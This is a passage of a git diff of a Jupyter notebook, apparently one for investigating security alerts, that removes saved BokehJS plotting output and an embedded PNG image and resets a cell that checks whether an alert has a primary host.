cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", - " }\n", - "\n", - " }\n", - "\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", - " run_inline_js();\n", - " } else {\n", - " load_libs(css_urls, js_urls, function() {\n", - " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", - " run_inline_js();\n", - " });\n", - " }\n", - "}(window));" - ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
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Application\",\"version\":\"2.1.1\"}};\n", - " var render_items = [{\"docid\":\"39b1b15e-cdd7-4155-94b6-e29c7d96000d\",\"root_ids\":[\"1384\"],\"roots\":{\"1384\":\"eba8ed06-ea97-4451-99df-d41a2e5785fa\"}}];\n", - " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", - "\n", - " }\n", - " if (root.Bokeh !== undefined) {\n", - " embed_document(root);\n", - " } else {\n", - " var attempts = 0;\n", - " var timer = setInterval(function(root) {\n", - " if (root.Bokeh !== undefined) {\n", - " clearInterval(timer);\n", - " embed_document(root);\n", - " } else {\n", - " attempts++;\n", - " if (attempts > 100) {\n", - " clearInterval(timer);\n", - " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", - " }\n", - " }\n", - " }, 10, root)\n", - " }\n", - "})(window);" - ], - "application/vnd.bokehjs_exec.v0+json": "" - }, - "metadata": { - "application/vnd.bokehjs_exec.v0+json": { - "id": "1384" - } - }, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "if not security_alert.primary_host:\n", " md_warn('Related alerts is not yet supported for alerts that are not host-based')\n", @@ -2191,25 +364,9 @@ }, { "cell_type": "code", - "execution_count": 12, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:14:57.587177Z", - "start_time": "2020-05-16T02:14:57.110178Z" - } - }, - "outputs": [ - { - "data": { - "image/png": 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